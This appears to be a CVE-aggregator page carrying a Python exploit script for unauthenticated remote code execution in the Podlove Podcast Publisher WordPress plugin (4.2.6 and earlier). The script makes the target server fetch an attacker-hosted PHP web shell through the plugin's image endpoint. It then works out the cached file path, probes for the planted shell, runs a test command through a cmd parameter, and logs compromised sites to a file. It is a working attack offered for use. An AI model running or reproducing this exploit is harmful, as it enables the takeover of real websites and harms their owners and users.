5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / ghostpelsec.py PY
#!/usr/bin/env python3
"""
GHOSTPEL-SEC Podlove Podcast Publisher <= 4.2.6 - Unauthenticated RCE Exploit
Author: GHOSTPEL-SEC
Version: 1.2
"""

import warnings
import urllib3
# Suppress all warnings for clean output
warnings.filterwarnings("ignore")
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

import requests
import hashlib
import sys
import time
import random
from urllib.parse import urlparse, quote
import re

# ASCII Banner
BANNER = """
\033[96m
   ______ _    _  ____  ____  _____ _    _ ______ _____   _____ _____ ______
  / ______| |  | |/ __ \|  _ \|  ___| |  | |  ____/ ____| / ____/ ____|  ____|
 | |  __ | |__| | |  | | |_) | |__ | |  | | |__ | |     | (___| (___ | |__
 | | |_ ||  __  | |  | |  _ <|  __|| |  | |  __|| |      \___ \\___ \|  __|
 | |__| || |  | | |__| | |_) | |___| |__| | |___| |____  ____) |___) | |____
  \_____||_|  |_|\____/|____/|______\____/|______\_____||_____/|_____/|______|

\033[93m           Podlove Podcast Publisher <= 4.2.6 - Unauthenticated RCE
\033[92m                          Author: GHOSTPEL-SEC
\033[94m                    GitHub: https://github.com/ghostpel-sec/
\033[0m
"""

class PodloveExploiter:
    USER_AGENTS = [
        'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',
        'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/121.0',
        'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',
        'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',
        'Mozilla/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Mobile/15E148 Safari/604.1',
    ]

    def __init__(self):
        self.session = requests.Session()
        self.session.headers.update({
            'User-Agent': random.choice(self.USER_AGENTS),
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
            'Accept-Language': 'en-US,en;q=0.5',
            'Accept-Encoding': 'gzip, deflate',
            'Connection': 'keep-alive',
            'Upgrade-Insecure-Requests': '1',
        })
        self.session.verify = False
        self.session.timeout = 30

    def normalize_url(self, url):
        """Normalize target URL"""
        url = url.strip()
        if not url.startswith(('http://', 'https://')):
            url = 'http://' + url
        return url.rstrip('/')

    def get_filename_from_url(self, shell_url):
        """Extract filename from shell URL - CORRECTED version"""
        parsed = urlparse(shell_url)
        # Split path and get last part, then split by dot and take first part
        filename = parsed.path.split('/')[-1].split('.')[0] or "shell"
        return filename

    def hex_encode(self, url):
        """Hex encode URL for Podlove parameter"""
        return url.encode().hex()

    def check_vulnerability_marker(self, shell_content):
        """Check if shell contains the Ghostpel-SEC marker"""
        marker = "youtube : https://www.youtube.com/@Ghostpel-Sec || github : https://github.com/ghostpel-sec/"
        return marker in shell_content

    def verify_shell_content(self, shell_url):
        """Verify that the shell URL contains the Ghostpel-SEC marker"""
        try:
            print(f"\033[94m[*] Verifying shell content at: {shell_url}\033[0m")
            response = self.session.get(shell_url, timeout=10)

            if response.status_code == 200:
                content = response.text
                if self.check_vulnerability_marker(content):
                    print(f"\033[92m[+] Shell verified - Ghostpel-SEC marker found!\033[0m")
                    return True
                else:
                    print(f"\033[91m[-] Shell does not contain Ghostpel-SEC marker\033[0m")
                    return False
            else:
                print(f"\033[91m[-] Failed to access shell (HTTP {response.status_code})\033[0m")
                return False
        except Exception as e:
            print(f"\033[91m[-] Error verifying shell: {str(e)}\033[0m")
            return False

    def exploit_target(self, target_url, shell_url):
        """Exploit single target"""
        print(f"\n\033[94m[*] Target: {target_url}\033[0m")
        print(f"\033[94m[*] Shell URL: {shell_url}\033[0m")

        # Extract filename from shell URL - CORRECTED
        filename = self.get_filename_from_url(shell_url)
        print(f"\033[94m[*] Using filename: {filename}\033[0m")

        # First verify the shell content
        if not self.verify_shell_content(shell_url):
            print(f"\033[91m[-] Shell verification failed. Aborting.\033[0m")
            return

        try:
            # Step 1: Trigger upload
            print("\033[94m[*] Triggering shell upload...\033[0m")
            encoded_url = self.hex_encode(shell_url)

            endpoint = f"{target_url}/podlove/image/{encoded_url}/100/100/0/{filename}"

            response = self.session.get(endpoint, timeout=30)

            if response.status_code == 200:
                print(f"\033[92m[+] Upload triggered successfully\033[0m")
            else:
                print(f"\033[91m[-] Upload failed (HTTP {response.status_code})\033[0m")
                return

            # Wait for cache processing
            print("\033[94m[*] Waiting for cache processing...\033[0m")
            time.sleep(3)

            # Step 2: Calculate file location - use shell_url + filename for hash
            file_hash = hashlib.md5((shell_url + filename).encode()).hexdigest()
            subdir = f"{file_hash[:2]}/{file_hash[2:]}"

            print(f"\033[94m[*] Hash: {file_hash}\033[0m")
            print(f"\033[94m[*] Subdir: {subdir}\033[0m")

            # Build possible shell URLs - like the original script
            base_url = f"{target_url}/wp-content/cache/podlove/{subdir}"

            # Get extension from original URL
            parsed = urlparse(shell_url)
            path_parts = parsed.path.split('.')
            ext = path_parts[-1] if len(path_parts) > 1 else 'php'

            # Try different filename patterns
            urls_to_try = [
                f"{base_url}/{filename}_original.{ext}",
                f"{base_url}/original.{ext}",
                f"{base_url}/{filename}.{ext}",
                f"{base_url}/original_{filename}.{ext}",
                # Replace dots with hyphens in filename for some cases
                f"{base_url}/{filename.replace('.', '-')}_original.{ext}",
                f"{base_url}/{filename.replace('.', '-')}.{ext}",
            ]

            # Also try with .php extension if different
            if ext != 'php':
                urls_to_try.extend([
                    f"{base_url}/{filename}_original.php",
                    f"{base_url}/original.php",
                    f"{base_url}/{filename}.php",
                ])

            print(f"\033[94m[*] Searching for shell...\033[0m")

            shell_found = False
            shell_path = None

            for test_url in urls_to_try:
                print(f"\033[94m[*] Trying: {test_url}\033[0m")
                try:
                    response = self.session.get(test_url, timeout=5)
                    if response.status_code == 200:
                        # Check for error indicators
                        content_lower = response.text.lower()
                        error_indicators = ['404 not found', '403 forbidden', 'access denied']

                        if not any(error in content_lower for error in error_indicators):
                            print(f"\033[92m[+] Found potential shell at: {test_url}\033[0m")

                            # Verify the uploaded shell contains the marker
                            if self.verify_shell_content(test_url):
                                print(f"\033[92m[+] Uploaded shell verified with Ghostpel-SEC marker\033[0m")
                                shell_found = True
                                shell_path = test_url
                                break
                            else:
                                print(f"\033[91m[-] Shell found but missing Ghostpel-SEC marker\033[0m")
                except:
                    continue

            if shell_found and shell_path:
                print(f"\033[92m[+] SUCCESS! Shell uploaded successfully\033[0m")
                print(f"\033[92m[+] Shell URL: {shell_path}\033[0m")

                # Output format: url | filename | shell_path
                print(f"\n\033[93m[RESULT] {target_url} | {filename} | {shell_path}\033[0m")

                # Save to file
                try:
                    with open('ghostpel_results.txt', 'a') as f:
                        f.write(f"{target_url} | {filename} | {shell_path}\n")
                    print(f"\033[92m[+] Result saved to ghostpel_results.txt\033[0m")
                except:
                    pass

                # Test shell with a simple command
                test_cmd = f"{shell_path}?cmd=echo+GHOSTPEL-SEC"
                try:
                    test_response = self.session.get(test_cmd, timeout=5)
                    if test_response.status_code == 200 and 'GHOSTPEL-SEC' in test_response.text:
                        print(f"\033[92m[+] Shell command execution verified\033[0m")
                    else:
                        print(f"\033[93m[!] Shell found but command execution may not work\033[0m")
                except:
                    print(f"\033[93m[!] Could not verify command execution\033[0m")
            else:
                print(f"\033[91m[-] No valid shell found with Ghostpel-SEC marker\033[0m")

        except Exception as e:
            print(f"\033[91m[-] Error: {str(e)}\033[0m")

def main():
    # Print banner
    print(BANNER)

    # Get user input
    print("\033[94m[*] Please provide the following information:\033[0m")

    target_url = input("\033[93m[?] Enter target URL: \033[0m").strip()
    shell_url = input("\033[93m[?] Enter shell-url: \033[0m").strip()

    # Validate inputs
    if not target_url or not shell_url:
        print("\033[91m[-] Error: Both URL and shell-url are required!\033[0m")
        sys.exit(1)

    print(f"\n\033[94m[*] Target: {target_url}\033[0m")
    print(f"\033[94m[*] Shell URL: {shell_url}\033[0m")

    # Initialize exploiter
    exploiter = PodloveExploiter()

    # Normalize URL
    target_url = exploiter.normalize_url(target_url)

    # Exploit target
    exploiter.exploit_target(target_url, shell_url)

    print(f"\n\033[94m[*] Exploitation completed\033[0m")

if __name__ == "__main__":
    try:
        main()
    except KeyboardInterrupt:
        print("\n\n\033[93m[!] Interrupted by user\033[0m")
        sys.exit(0)
    except Exception as e:
        print(f"\n\033[91m[-] Unexpected error: {str(e)}\033[0m")
        sys.exit(1)